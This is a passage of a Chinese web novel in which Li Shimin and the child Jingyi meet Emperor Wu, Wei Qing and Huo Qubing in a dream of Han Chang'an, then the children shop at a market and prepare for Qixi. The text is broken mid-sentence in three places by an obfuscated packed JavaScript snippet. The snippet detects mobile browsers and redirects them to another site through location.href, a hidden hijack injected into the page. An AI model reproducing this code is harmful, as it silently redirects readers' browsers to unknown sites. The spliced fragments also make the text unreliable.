霍将军可能就在长安!景颐的心怦怦直跳,那个在坏大师口中“二十四岁就死了”的悲剧英雄,那个让李叔叔都惋惜不已的少年战神,此刻可能就在这座城里! 他要看看,霍去病到底长什么样!是不是像戏文里说的,身高八丈,腰围也是八丈,眼睛像铜铃,一声吼就能吓退千军万马。 他立刻直起身,小脑袋转来转去,在街上搜寻像霍去病的人。很快,他锁定了一个目标,前方不远处,一个刚从武库方向走出来、身穿崭新皮质札甲、腰佩环首刀、步履沉稳的军官,看着就很威风! “霍将军!是霍将军吗?”景颐想也没想,兴奋地喊了一嗓子,迈开小短腿就要冲过去。 李世民吓得魂飞魄散,一个箭步上前,大手一把捂住景颐的嘴,将他牢牢箍在怀里,低喝道:“胡闹!” 他冷汗都下来了,在这人生地不熟、戒备森严的汉长安,胡乱指认大将,被当做细作或惊扰军中,麻烦就大了! 那军官闻声回头,疑惑地看了一眼被捂住嘴、只露出一双滴溜溜乱转大眼睛的景颐,以及一脸歉然、衣着普通的李世民,皱了皱眉,没说什么,转身走了。 李世民松了口气,这才松开手,将景颐带到僻静处,弯下腰,严肃地看着他:“景颐,此地非比寻常,不可造次,若惹来麻烦,如何是好?” 景颐被捂得差点喘不过气,小脸憋得通红,闻言委屈地扁了扁嘴,大眼睛里漫上水汽:“可是……好不容易来一趟,那个坏梦都不让我们见一下……我就想看看他长什么样嘛……” 声音带着浓浓的失落和不解,仿佛在质问这个梦境为何如此不近人情。 李世民看着他这副模样,心又软了,正想再安抚几句,忽然,一个带着几分笑意、却又充满威严的成熟男声从他们身后响起: “哦?你这小儿,为何如此想见霍去病?” 李世民心头一凛,瞬间绷紧了神经,景颐也吓了一跳,转过身。 只见身后站着三人。中间一人,年约三旬,身着赭红深衣,外罩一件不起眼的青色外袍,但眉宇间英气勃发,目光深邃锐利,负手而立,自有一股不怒自威的气度。 他左侧一人,年纪稍长,面容儒雅温和,目光沉静,嘴角噙着淡淡笑意,气度沉稳如山。右侧一人,最为年轻,看上去不过十八九岁,身姿挺拔如松,面容俊朗,只是神色略显冷峻沉默,此刻正微微蹙眉,带着审视打量着李世民和景颐。 这三人衣着看似普通,但那份久居人上的气度,和周身隐隐萦绕的铁血与贵气,绝非寻常百姓。尤其是中间那男子看景颐的眼神,带着一种饶有兴味的探究。 景颐却不懂这些,他只觉得这叔叔问得正好,立刻把对李世民的警告抛到脑后,挺起小胸膛,理所当然、脆生生地回答:“因为他很厉害呀!李叔叔说他打仗天下第一厉害!十七岁就能带兵打跑坏人,封什么狼居胥,是英雄!英雄当然要观摩一下!而且……” 他顿了顿,小脸上露出认真的神色,声音低了些,带着点孩童天真的忧虑,“他这么厉害的人,一定要长命百岁才可以!不然多可惜呀!” “长命百岁?” 中间那红衣男子眼中笑意微敛,锐利的目光在景颐和李世民身上扫过,尤其在听到“李叔叔说他打仗天下第一厉害”时,眼神更深了些。他左侧的儒雅男子眼中也掠过一丝讶异,右侧的青年眉头皱得更紧,看着景颐的眼神多了几分复杂。 刘彻心中疑窦顿生,这孩童言语天真,但“观摩”、“长命百岁”之语,却透着一股不寻常。 观这二人,大的气度不凡,龙章凤姿,绝非池中之物,小的灵秀逼人,眼眸清澈见底,却又仿佛藏着星光。长安何时多了这样一对人物?还如此关心去病寿数? 他本就是极信天命、好奇异之士的帝王,此刻兴致大起,哈哈一笑,那股迫人的威压稍敛,换上了较为随和的表情:“想不到小娃娃倒有几分见识,也懂惜才。相逢即是有缘,不如由某做东,请二位吃顿便饭,聊聊这长安风物,如何?” 他语气随意,却带着不容拒绝的意味,目光却是看向李世民。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254348|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景颐一听吃饭,眼睛顿时又亮了!新的地方,新的美食!他立刻忘了刚才的失落,拽了拽李世民的袖子,满眼期待。 李世民心中警铃大作,这三人气质非凡,尤其是中间这位,给他一种极其强烈的、似曾相识的压迫感,那是久居至尊之位、生杀予夺蕴养出的无形气势。他几乎可以肯定,这必是汉武帝刘彻无疑!旁边那沉稳的应是卫青,那冷峻青年,定是霍去病!竟然就这样撞上了! 拒绝?恐怕不妥,更惹疑心。他只得按下心中惊涛,拱手道:“恭敬不如从命,只是我叔侄二人乃外来行商,粗鄙之人,恐扰了贵人雅兴。” “无妨,随意聊聊。”刘彻大手一挥,当先引路,走向不远处一家看起来颇为清雅的食肆。卫青微笑示意,霍去病沉默跟上,目光却始终若有若无地锁在景颐身上。 食肆雅间,酒菜上桌,确是这个时代的上等席面,炙肉、鱼脍、羹汤、时蔬,还有醇厚的米酒。刘彻很是热情,频频劝酒给李世民。 景颐迫不及待地夹了一筷子炙肉塞进嘴里,嚼了嚼,小脸却慢慢垮了下来,他努力咽下去,小声嘀咕:“没有李叔叔家的厨子做的好吃……也没有苏叔叔点的菜好吃……肉有点柴,味道也淡……” 他声音虽小,但在座哪个不是耳聪目明?卫青闻言,温和笑道:“小郎君是长安人?听口音不太像。可是觉得这炙肉不合口味?长安各家食肆风味确有不同。” 景颐摇摇头,老实道:“我不是长安人。这肉不难吃,就是……没我想的那么好。” 他到底孩子心性,很快抛开这点小失望,又兴奋起来,开始掰着手指头数他吃过的好东西:“我跟你们说,有一种叫拨霞供的汤,可鲜了!还有蟹酿橙,把螃蟹肉放在橙子里蒸,又香又甜!还有蜜三刀,外面裹着糖和芝麻,咬一口能拉好长的丝!可好吃了!还有……” 他描述得活灵活现,有些菜名连刘彻都未听过,但听那做法和用料,显然并非此时长安能有。刘彻眼中兴味更浓,一边含笑听着,一边对身后侍立的心腹微微颔首,那心腹立刻会意,将景颐提到的几样美食暗暗记下。 待景颐说得差不多,刘彻才端起酒杯,状似随意地问道:“方才听小郎君言,希望去……嗯,希望那位少年将军长命百岁,此言,似乎另有所指?莫非小郎君,懂得相面推演之术?” 他话是如此,却直直看向李世民。 来了,李世民心中一凛,知道这是试探。他神色不变,为景颐夹了一筷子清淡的蔬菜,才缓缓道:“小儿顽皮,信口开河罢了,不过是听坊间传颂冠军侯英武,孩童心性,慕其英豪,故有此天真之愿。长命百岁,亦是寻常祝祷之语,当不得真。” 他四两拨千斤,将景颐的话完全归为童言与对英雄的单纯敬慕,避开了任何可能的预言指向。 刘彻岂是轻易能糊弄的?他手指轻点桌面,目光如炬:“哦?仅是坊间传闻,便能令小郎君如此挂心寿数?某观二位,气度不凡,不似寻常商贾。这位小郎君灵秀逼人,方才那所言,可不像是单纯学舌,先生何必过谦?” 50.第 50 章 这便是要逼问了,气氛微微凝滞。 这时,卫青适时开口,声音温和醇厚,如春风化雨:“还未请教二位高姓?在下姓卫,单名一个青字。这位是家中长辈,刘公。这位是小侄,去病。” 他直接点明身份,既是坦诚,也是一种无形的震慑与观察,以看对方如何反应。 果然,景颐“啊”了一声,眼睛瞪得溜圆,目光在卫青、刘彻和霍去病脸上来回扫视,小嘴张成了圆形:“你、你们就是……卫大将军?冠军侯?那、那刘公……” 他看向刘彻,虽不知具体是谁,但能让卫青称长辈的刘公…… 刘彻被他的反应逗乐,故意板起脸:“怎么?不像?非得穿着明光铠,骑着高头大马,你才认得?” 景颐很认真地想了想,居然点了点头,小声道:“有点……我以为大将军和冠军侯,会一直穿着很威风的铠甲。就像……就像药师叔叔和尉迟叔叔,不穿铠甲的时候,看起来就像很厉害的伯伯,但穿上铠甲就更威风了,一看就知道是大将军!” 他说的自然是李靖和尉迟恭,在他印象里,大将军就该是穿着铠甲、特别威风的样子。 “药师?尉迟?”刘彻敏锐地捕捉到这两个陌生的姓氏和称呼,眼中好奇与探究之色更浓。这孩童提及的人物,气度称呼,绝非寻常。他心中对此二人来历的猜测又多了几分,兴趣大增。 “看来小郎君家中,亦是不凡,竟识得这许多大将军。” 他话锋再次转向李世民,笑意不达眼底,“先生,明人不说暗话,小儿天真烂漫,其言却发人深省。去病乃国之栋梁,陛下股肱,他的安康,关乎国运,若先生真知些什么,还望不吝赐教。可是……观星有所得?或是,另有玄机?” 他将国运、陛下都点了出来,压力给到极致。霍去病也抬起眼,冷冽的目光直视李世民,等待他的回答。 李世民知道,再含糊其辞,反而更惹疑心,甚至可能招祸。他沉吟片刻,轻轻拍了拍身边因听到这句话而有些不安的景颐的背,示意他少安毋躁。 然后,他迎上刘彻的目光,缓缓道:“刘公既然如此说,在下也不敢再虚言推诿。实不相瞒,在下早年确曾随方外之人,习得些许观星望气之术,聊以自娱,并不精深。” 他顿了顿,组织语言,用尽可能玄乎的方式说道:“前些时日,夜观天象,见紫微帝星之侧,将星大耀,其芒锐利无匹,主杀伐,光彻西北,此应大汉有少年军神,武功赫赫,冠绝古今,乃国之祥瑞,天子利剑。” 先扬,将霍去病的地位和功绩捧到极高,符合刘彻心理,也缓和气氛。刘彻面色稍霁,卫青微微颔首,霍去病依旧沉默。 “然,”李世民话锋一转,语气变得沉凝,带着一种玄奥的叹息,“星相之道,盛极而衰,乃天地常理。此将星光华太盛,过于夺目,反而……有过刚易折之象。 “且星辉虽亮,其根基处,似有极淡的晦影缠绕,非外邪,乃源自内里,主劳损过度,或隐疾暗伏,平日不显,遇激则发。在下不才,推演其运,见星芒有骤黯之兆,恐……难享永寿,盛年而陨。” 他尽量用星象术语包装,将二十四岁病逝转化为过刚易折、劳损隐疾、盛年而陨,既点出了关键,霍去病可能死于积劳成疾或突发的急症,又将时间模糊化,最后强调是推演、可能,给自己留足余地。 景颐在一旁听得聚精会神,眼睛越瞪越大。李叔叔……好厉害!这套说辞,比那个仙气飘飘的坏大师还像真的! 他忍不住凑到李世民耳边,用自以为很小声、其实在座都能听清的气音悄悄问:“李叔叔,你什么时候跟淳风伯伯学的这一套?说得比他还像真的!” 李世民额角青筋一跳,一把掐住景颐的后脖颈,将他轻轻按回座位上坐好,低斥:“坐好,休得胡言。” 动作看似严厉,却带着亲昵。 “淳风伯伯?”一直沉默倾听的霍去病忽然开口,声音清冷,带着疑问,“是何人?亦是方外之士?” 景颐被按着脖子,还不忘回答,眼睛一转,机灵地说:“是我师叔!他可厉害了,算卦看星星都特别准!还和师父喝过茶论过道呢!” 熟练地把长琴和李淳风都拉出来当靠山。 刘彻眼中精光闪动,对此二人来历更为好奇,但李世民那套观星之说,已引起他足够重视。他不再追问师承细节,而是将话题拉回核心: “先生所言过刚易折、劳损隐疾,我心甚忧。去病乃国之干城,万不能有失,先生既精于此道,可能看出,此劫……应在何时?可有禳解之法?” 他目光灼灼,带着一丝不易察觉的急切。 李世民心中暗叹,知道最难回答的来了,天机不可泄露太过具体,更怕对景颐或未来产生未知影响。 他沉吟道:“天机莫测,劫数之应,多在气运流转、自身行止交汇之时,或许三年五载,或许……旦夕之间。” 他顿了顿,似是不经意地转移话题,略带感慨道:“今日得见刘公与两位将军,方知星象所指非虚,只是不知如今具体是何年月?在下携侄游历四方,有时山中无岁月,竟有些记不清了。” 他问得自然,仿佛真是方外之人不记年。 刘彻闻言,心中一动。不记年月?游历四方?观此人谈吐气度,沉稳睿智,对朝局军事似有见解,又通晓星象玄机,此刻连年月都记不清,更显其超然物外。这不正是古籍中记载的、不世出的隐逸高人、方外奇士的做派吗?他原本的猜疑中,不由得又多了几分郑重。 他亲自答道:“今年是元狩五年。” “元狩五年?!” 这声音并非来自李世民,而是他身旁的景颐。小孩儿猛地抬起头,眼睛瞪得滚圆,满脸难以置信,脱口惊呼:“五年?那明年——” 话刚出口,他自己也意识到了什么,剩下半截硬生生卡在喉咙里,小脸“唰”地白了,两只小手飞快地抬起来,死死捂住了自己的嘴,只露出一双惊惶的大眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259032|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一眨不眨地、直勾勾地盯着对面的霍去病。 雅间内,空气瞬间凝固。 刘彻脸上的表情彻底消失,卫青霍然起身,手已按上腰间,看向景颐的目光充满了震惊与骇然。霍去病本人也“腾”地站起,眉头紧锁,那双沉稳的眼睛,第一次真正带上了惊疑不定,紧紧锁在景颐那张写满“我说错话了”的小脸上。 这三人是何等人物?景颐这声未尽的惊呼,那捂嘴的动作,结合李世民之前的警示,以及元狩五年…… 还需要多说什么吗? 明年!元狩六年!就是这劫数应验之时!就是冠军侯霍去病可能的……大限之期! 霍去病第一个打破死寂,他眉头皱得能夹死苍蝇,声音带着冷硬的不解与一丝他自己都未察觉的烦躁:“我身体并无不适,骑射如常,何来隐疾?明年……又能如何?” 他征战沙场,漠北绝域都闯过来了,自觉体魄强健,怎会相信什么明年的劫数?可那孩子眼中的悲伤太真实,不似作伪。 卫青的脸色已经苍白,他比霍去病更了解这个外甥。去病用兵行险,不恤己身,常常数日不眠,饮食无定,身上旧伤也从未好好将养。若真有暗疾,平日不显,一旦爆发……他不敢想下去。他立刻转向刘彻,声音带着压抑的颤抖:“陛下!” 刘彻抬手,止住了卫青的话。他深深吸了一口气,强行压下心中的惊涛骇浪,目光直指李世民,这次不再有丝毫试探:“先生,看来令侄……知道的比先生所言更多。” 李世民心中苦笑,知道这下彻底瞒不住了。他伸手,将吓得发抖的景颐揽到身边,轻轻拍着他的背,迎向刘彻的目光,坦然道: “小儿无知,泄露天机,实属不该。然,既已如此,在下亦无需隐瞒。星象推演,劫数之期,确在……不远。然,天机一线,非绝人之路。隐疾暗伏,未必无救,杀伐过重,或可调和。关键在于能否及时察觉,能否……善加珍重。” 刘彻听懂了,他不再看李世民,而是转向霍去病,声音斩钉截铁,不容置疑:“自即日起,免去你一切军务,留在长安,朕会诏令天下名医,为你诊脉调理,一应饮食起居,皆由太医令与光禄勋安排,不得有误!卫青,你亲自看着他!” “陛下!”霍去病急道,让他离开战场,无异于斩断雄鹰双翼。 “此事朕意已决!”刘彻罕见地对霍去病用了如此严厉的口吻,“你的身子,不止是你自己的,更是大汉的!未查明之前,不得擅动!” 他又看向卫青,“你亦然,你二人乃朕之双臂,缺一不可,从今日起,都给朕好好将养!” 卫青连忙躬身:“臣遵旨!定当看顾好去病。” 他心中已下定决心,哪怕用绑的,也要让这个外甥在长安待到身体调养妥当为止。 霍去病见状,知道君命难违,又见舅舅和陛下皆是一脸不容置喙的忧急,只得咬牙,闷闷地拱手: “……臣,遵旨。” 51.第 51 章 沉重的空气略微流动,刘彻看着李世民,心思已定。此人有窥天之能,又心怀国本,远胜宫中那些夸夸其谈之辈。 “先生大才,何必浪迹江湖?”刘彻开口,带着招揽的诚意,“不若随朕入宫,朕必以上师之礼相待,共商国是,保境安民。” 李世民心道果然如此,他拱手,姿态恭敬,语气却毫无转圜余地:“山野之人,散漫惯了,受不得宫墙束缚,今日得见天颜,闻冠军侯英姿,已是有幸。陛下雄才大略,自有上天庇佑,社稷能臣,无需李某添足。” 拒绝得如此干脆,毫不留恋荣华。刘彻先是一愣,随即心中那点被拂了面子的不悦,迅速被“果然是真高人,淡泊名利”的念头取代,眼神反而更添几分敬重。 几人离开酒肆,走到街口,夕阳将影子拉长,离别的意味渐浓。 景颐小手紧紧攥着李世民的衣角,他看看卫青,看看神色威严的刘彻,最后目光落在霍去病身上。 那个身姿挺拔如松的少年,和想象中金光闪闪的铠甲将军不太一样,可是……他就是霍去病,那个很厉害很厉害,却可能很快就要消失的霍去病。 心里酸酸胀胀的。 就在刘彻准备示意他们可以离去时,景颐忽然松开李世民的手,像只雏鸟,直直扑向霍去病,张开双臂,紧紧抱住了他的腰,把脸深深埋进他怀里。 霍去病浑身一僵,孩童柔软温热的身体紧紧贴着他,带着毫不设防的依赖和浓得化不开的悲伤。他下意识想推开,手臂抬起,却最终没有落下。 “霍……霍将军,”景颐把脸埋在他腿上,声音闷闷的,带着哭腔,“我……我还能再见到你吗?” 霍去病愣住了。他低头,看着那颗毛茸茸的、微微颤抖的小脑袋,心中某处坚硬的地方,仿佛被轻轻撞了一下。他生性少言,不擅表达,更不惯与人如此亲近。 他沉默了很久,就在景颐以为他不会回答时,一只带着薄茧、温热有力的手,有些生疏、略显僵硬地,轻轻落在了他的头顶,揉了揉。 “……我就住在长安。”霍去病的声音有些干涩,但已是他能给出的、最温和的回应,“若想见,可来寻我。” 他知道这承诺或许虚无,但这孩子眼中的光亮与不舍,让他无法硬起心肠。 景颐闻言,却把脸埋得更深,肩膀轻轻抽动起来。他知道,再也见不到了,这个梦醒了,就再也见不到了。明年……长安城里,就不会有这个会揉他头、答应让他来寻的少年将军了。 景颐没有抬头,也没有松手,反而抱得更紧了些,他把脸在霍去病怀里蹭了蹭,仿佛要将这温暖踏实的感觉牢牢记住。 就在无人察觉的刹那,一点极其微弱的、淡金色的光晕,如同萤火,悄然从景颐紧贴霍去病心口的位置溢出,一闪即逝,没入了霍去病的衣袍之下,消失无踪。 那光晕带着景颐血脉中一丝最本源的、属于祥瑞麒麟的、微弱却纯净的生机与祝福之力,连景颐自己都未曾察觉。 又抱了好一会儿,景颐才慢慢地、一点一点地松开手臂,后退一步。他抬起头,小脸上泪痕犹在,眼睛和鼻尖都红红的,但眼神却清亮了许多。 他看看霍去病,又看看刘彻和卫青,然后,像个小大人一样,对着霍去病,深深地、认真地鞠了一躬。 做完这个动作,他不再停留,转身跑回李世民身边,重新紧紧抓住他的手,把小脸藏在他身后。 李世民最后看了一眼这三位名留青史的人物,心中感慨万千。他本不欲再多言,但临别在即,看着眼前这位雄主,想到他晚年的某些偏执,终究心有不忍。 他停下脚步,并未回头,只是声音传来,如同夜风送来的箴言: “陛下,天道酬勤,莫问虚妄,储君仁厚,骨肉天伦,尤需珍重。慎之,慎之。” 说罢,不再停留,牵着景颐,身影迅速没入长安街巷渐起的暮色与归家的人流中,转瞬不见。 刘彻站在原地,咀嚼着这没头没尾的两句话。 “莫问虚妄”……是指方士长生?“储君仁厚,骨肉天伦”……是提醒朕勿信谗言,善待据儿? 越是简短,越是留白,越让这位多疑的帝王浮想联翩,心头震动。他望向二人消失的方向,久久无言。 卫青上前一步,低声道:“陛下,回宫吧,去病的身体……” “嗯。”刘彻收回目光,“回宫,立刻诏太医令!还有,将栾大那几个,给朕看紧了,没有朕的命令,不得再炼制什么仙丹!” “诺!” 夜色彻底吞没了长安,那对神秘的叔侄如同惊鸿一瞥,了无痕迹。 但在这位汉武大帝的心中,激起了只有他自己才知晓深浅的涟漪。未来会如何?谁又能说得清。 九成宫的寝殿里,景颐在梦中发出一声模糊的呓语,往李世民怀里缩了缩,睡得香甜。月光如水,漫过窗棂,一夜安宁。 夏日的尾巴悄悄溜进九成宫,山间的风开始带上些许凉意。王德带来消息,长安诸事已定,河东蝗情控制得当,陛下决定三日后启程回京。 消息传到孩子们住的院子,顿时一片哀嚎。 “啊?就要回去了?”李治抱着他的刺猬毛球,小脸皱成一团,“舍不得毛球,舍不得甜水泉,舍不得后山的小溪……” 李泰则是对他称霸的打水漂场地恋恋不舍:“我才刚找到手感!回去哪有这么听话的水面!” 景颐也撅起了嘴。虽然很想念宫里的枣泥酥和李叔叔书房里那堆有趣的小玩意,但九成宫有山有水有毛球,还有那个野葡萄藤,他也有点舍不得。 丽质最是贴心,提议道:“要不临走前,我们去山下镇上逛逛吧?听说明日有大集,比我们来时那庙会还热闹些。买些喜欢的玩意儿带回去,也算留个念想。” 这个提议立刻获得全票通过!连一向持重的李承乾也眼中露出期待。 于是,晚饭桌上,孩子们眼巴巴地望着李世民和长孙皇后。景颐更是使出了浑身解数,拽着李世民的袖子晃啊晃:“李叔叔~让我们去吧~最后一次了~颐儿保证乖乖的,给李叔叔和大姐姐也带好吃的回来!” 李世民被这群嗷嗷待买的小家伙弄得哭笑不得,看向长孙皇后。长孙皇后温柔一笑:“让他们去吧,多带些侍卫便是。在宫里拘了这些时日,也该松快松快。” “耶!”孩子们欢呼。 翌日,九成宫附近最大的镇子迎来了有史以来最豪横的一批小顾客。 李承乾负责管钱,丽质负责审美和讲价,李泰负责发现新奇玩意,景颐和李治则完全是人形自走购物车和捧场王。 “阿姊!这个泥叫虎!一捏会响!”景颐举着一个胖乎乎的泥老虎。 “买。”丽质点头,示意李承乾付钱。 “大兄!你看这个竹编的蚱蜢,像不像真的!”李泰拿着一个栩栩如生的绿色蚱蜢。 “尚可。”李承乾矜持地评价,然后付钱。 “糖画!比真的蝴蝶还大!”李治指着最大的那个糖凤凰。 “……一人一个,不准多吃。”李承乾无奈,再次掏钱。 不一会儿,侍卫们手里就拎满了大包小包:泥人、面人、竹编玩具、木雕小动物、彩绘的鹅卵石、一包包当地特色的干果蜜饯、甚至还有几匹丽质看中的、花纹别致的土布。 景颐怀里抱着新得的泥老虎、竹蚱蜢,嘴里含着糖凤凰,眼睛还滴溜溜地往旁边的摊位瞟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我踩!我踩!我踩踩踩!” “坏蛋!骗人精!吓唬小孩!踩扁你!” “让你说师父!让你骗我!踩!踩!踩!” 他一边踩,一边小嘴叭叭地数落着罪状,小脸因为用力而涨得通红,额前的碎发都跟着一跳一跳。那新皮靴踩在青石板路上,发出“哒、哒、哒”的清脆声响,配合着他那副自认为凶神恶煞的表情,场面既滑稽又可爱到爆炸。 李泰第一个没绷住,“噗嗤”一声笑出来,随即赶紧捂住嘴。丽质也扭过脸,肩膀微微耸动。李承乾以拳抵唇,强忍笑意。李治则完全看呆了,手里的风车都忘了转。 周围的侍卫更是辛苦,一个个眼观鼻鼻观心,假装看天看地看空气,只是那微微抽搐的嘴角出卖了他们。 景颐狠狠地踩了十几下,直到觉得有点累了,这才停下来,喘了两口小粗气,又对着空地凶巴巴地“哼!”了一声,最后还做了个鬼脸。 做完这一切,他才心满意足地拍拍小手,仿佛完成了什么了不得的复仇大业。他转身,跑到刚才那个侍卫面前,重新拿回自己的宝贝泥老虎、竹蚱蜢和糖凤凰,一脸大仇得报的畅快表情,对还在懵圈的李治一扬小下巴:“走!雉奴!我们继续买!” “哦……哦!”李治连忙点头,举着风车跟上去,小声问,“景颐,你刚才在踩什么呀?” “踩一个大坏蛋!”景颐理直气壮,咬了一口糖凤凰,甜得眯起眼,“不过现在他被我踩扁啦!我们买好吃的去!” 孩子们笑闹着继续他们的采购大业。阳光正好,集市喧闹,孩子们的欢笑声洒了一路。 不远处茶楼二楼的窗边,李世民和长孙皇后将这一幕尽收眼底。李世民摇头失笑:“这小子……” 语气里满是无奈与纵容。 长孙皇后亦是莞尔:“出了口气,便好了,孩子心性,简单快活。” 52.第 52 章 回到长安宫中,凝云轩恢复了往日的生气。窗台上的兰草愈显青翠,纸兔子神气依旧,关于九成宫与长安梦境的种种,都成了夏日悠长回忆里闪光的片段。 七月流火,乞巧将近,宫中的气氛因即将到来的乞巧而悄然变得活泼起来。尚服局早早送来了各色丝线、彩帛、新巧的刺绣花样,连内侍省也备下了许多瓜果、巧饼、以及捉喜蛛用的小金盒。 这日,丽质带着一位与她年岁相仿的小姑娘来到凝云轩。 小姑娘穿着藕荷色齐胸襦裙,发髻梳得一丝不苟,眉眼清秀,神态沉静,举止间带着一种超越年龄的稳重与妥帖,正是自幼被长孙皇后抚养在身边的豫章公主。 “颐儿,雉奴,”丽质笑道,将略显腼腆的豫章往前带了带,“豫章阿姊也来了。乞巧节快到了,我们想着一起预备些节礼,再试试月下穿针、捉喜蛛祈福,你们可愿一同?” “要!”景颐立刻响应,他对任何一起玩和没试过的事情都充满热情,“阿姊,喜蛛是红色的吗?能捉到吗?” 李治也放下玩具,好奇地看过来。 豫章公主微微一笑,声音轻柔却清晰:“喜蛛是一种小蜘蛛,比米粒还小,颜色暗红,据说在七夕夜捉到,放在盒中,次日看它在网上结的丝密不密、圆不圆,可以占卜巧拙,所以叫喜蛛。” “捉蜘蛛!好玩!”景颐眼睛更亮了,完全忽略了其他部分,只关注“捉”。 “不过,在那之前,要先准备五彩丝缕,七夕当晚要对月穿针,看谁穿得快、穿得多,乞求心灵手巧。我们得先把丝线分好、染好。” 她解释得有条不紊,比丽质更多了几分书卷气和细致,显然来前是做足了功课的。丽质拉着她的手:“豫章阿姊懂得可多了,有她帮我们,定能准备得妥妥当当。” 于是,凝云轩偏厅成了临时的乞巧筹备处。长琴对此不置可否,只略叮嘱了一句,便自去忙了。 丽质和豫章带来了尚服局给的生丝和矿物、植物染料。几个小孩围坐在铺了油布的大案旁,准备大干一场。 “我们先染线。”丽质指挥若定,“红色用茜草,黄色用栀子,蓝色用蓼蓝,绿色用槐米加一点蓝,紫色用紫草……嗯,书上这么说的。” 实际操作起来,却完全是另一回事。 李治负责搅动小锅里红色的茜草汁,结果劲用大了,溅出来几点,把他的浅色袖子染上了斑斑点点的红,像开了几朵不规则的小花。他瘪瘪嘴,有点想哭,被景颐用一根还没染的丝线逗了逗,又笑了。 豫章温声安慰:“无妨,此乃茜草汁,用皂角略搓便可洗去大半。下次搅动轻些便好。”说着,已示意宫女带李治去稍作清理。 景颐自告奋勇要染最威风的紫色。他拿着紫草根捣出的汁液,觉得颜色不够深,又偷偷摸摸把自己砚台里还没用完的点点墨汁倒了进去。 结果染出来的丝线,是一种诡异的、发黑的深紫,还带着不均匀的颗粒。他拎着那缕作品,左看右看,还挺满意:“看!多深!多稳重的紫色!” 丽质和豫章看着那缕稳重紫,沉默了片刻。丽质委婉地说:“颐儿……紫色,或许……清浅些更雅致?” 最后,还是丽质和豫章凭借着天生的审美和耐心,一点点试验调整,总算染出了几缕颜色还算鲜亮正的五彩丝线。虽然数量不多,染得也深浅不一,但毕竟是孩子们自己动手的成果,看起来格外珍贵。 接下来是绩缕,就是把染好的丝线搓合成结实的彩线。这更需要巧劲,景颐和李治完全是帮倒忙,两人各拽着线的一头,不是拧成麻花就是扯断了线头,急得哇哇叫。 豫章手很巧,已经能搓出均匀的一小段了。丽质更是主力,手指翻飞,彩线在她指尖渐渐成形。 忙活了一下午,总算有了几小把勉强能用的五彩线。虽然有的地方粗,有的地方细,颜色也斑驳,但孩子们看着自己的劳动成果,都成就感满满。 景颐眼睛一亮,佩服地看着丽质和豫章:“阿姊们好厉害!” 七夕前夜,按照习俗,要开始留心寻找喜蛛了。 “听说喜蛛喜暗,常在墙角、花叶背面、旧书箱缝里。” 丽质拿着个小金盒,压低声音,像在进行什么秘密行动。 四个小脑袋凑在一起,制定了作战计划:丽质和豫章负责检查庭院里的花草和廊柱角落;景颐和李治负责搜索凝云轩内比较低矮的柜子后面和书架缝隙。 行动开始! 丽质和豫章举着小巧的宫灯,在月光下的庭院里仔细翻看芭蕉叶背面、检查墙角青苔。豫章眼尖,在一丛夜来香的叶子下发现了一个极小的、暗红色的身影!“这里!” 丽质轻手轻脚地用一片树叶引着,小心翼翼地将那只小米粒大的喜蛛挪进了小金盒里:“太好了!第一只!” 屋内,景颐和李治的搜索就显得鸡飞狗跳一些。 “雉奴!快看!这个缝里是不是有影子在动?” “哪里哪里?我看看……没有呀,是灰吧?” “这边!这个柜子脚后面!” 两人撅着屁股趴在地上,小脸几乎贴到地面,看得目不转睛。灰尘吃了不少,蜘蛛网蹭了一头,真正的喜蛛却没见着。 最后还是李治运气好,在书架最底层一格、一本很久没人动的旧书扉页夹缝里,发现了一只正在慢悠悠爬行的暗红色小蛛。“景颐!这里!它好小!” 景颐连忙凑过来,两人屏住呼吸,看着那小东西,又兴奋又不敢大声。景颐学着丽质的样子,用一根柔软的草茎,极其轻柔地将喜蛛拨到了李治早就准备好的、另一个更小的玉盒里。 “耶!捉到了!”两个小家伙击掌庆祝,虽然弄得灰头土脸,但快乐无比。 最终,在丽质的英明领导和豫章的细心观察下,加上李治的意外收获,他们一共成功俘获了三只喜蛛,分别装在两个小盒里。孩子们围着小盒,看着里面几乎看不见的小东西,叽叽喳喳讨论着哪只结的网可能会最圆。 “等明天晚上,我们把它们放在不同的地方,看谁结的网好!”丽质拍板。 夜色渐深,孩子们虽然兴奋,但也抵不住困意。在宫人的催促下,他们小心地收好五彩线和装有喜蛛的小盒,约定明日再战月下穿针,然后各自被领回住处,带着对七夕之夜的满满期待,沉入香甜的梦乡。 凝云轩终于恢复了宁静,只有窗外的星子,仿佛也在期待着明日那个属于巧手与心愿的夜晚。 七夕当日,天光未亮,四个孩子就迫不及待地聚到了凝云轩庭院中,四个小盒子并排放在一张铺了素锦的石桌上。 晨露未晞,熹微的晨光透过树叶缝隙洒下。孩子们屏住呼吸,看着丽质轻轻掀开第一个盒盖。 只见盒内一角,一张极其细密、近乎完美的圆形小网已经织就,丝丝分明,经纬清晰,在晨光下泛着极淡的银泽,网上还挂着几颗细小的露珠,宛如镶嵌的珍珠。 “哇——”孩子们齐齐发出低低的惊叹。这是丽质和豫章昨夜捉到的那只。 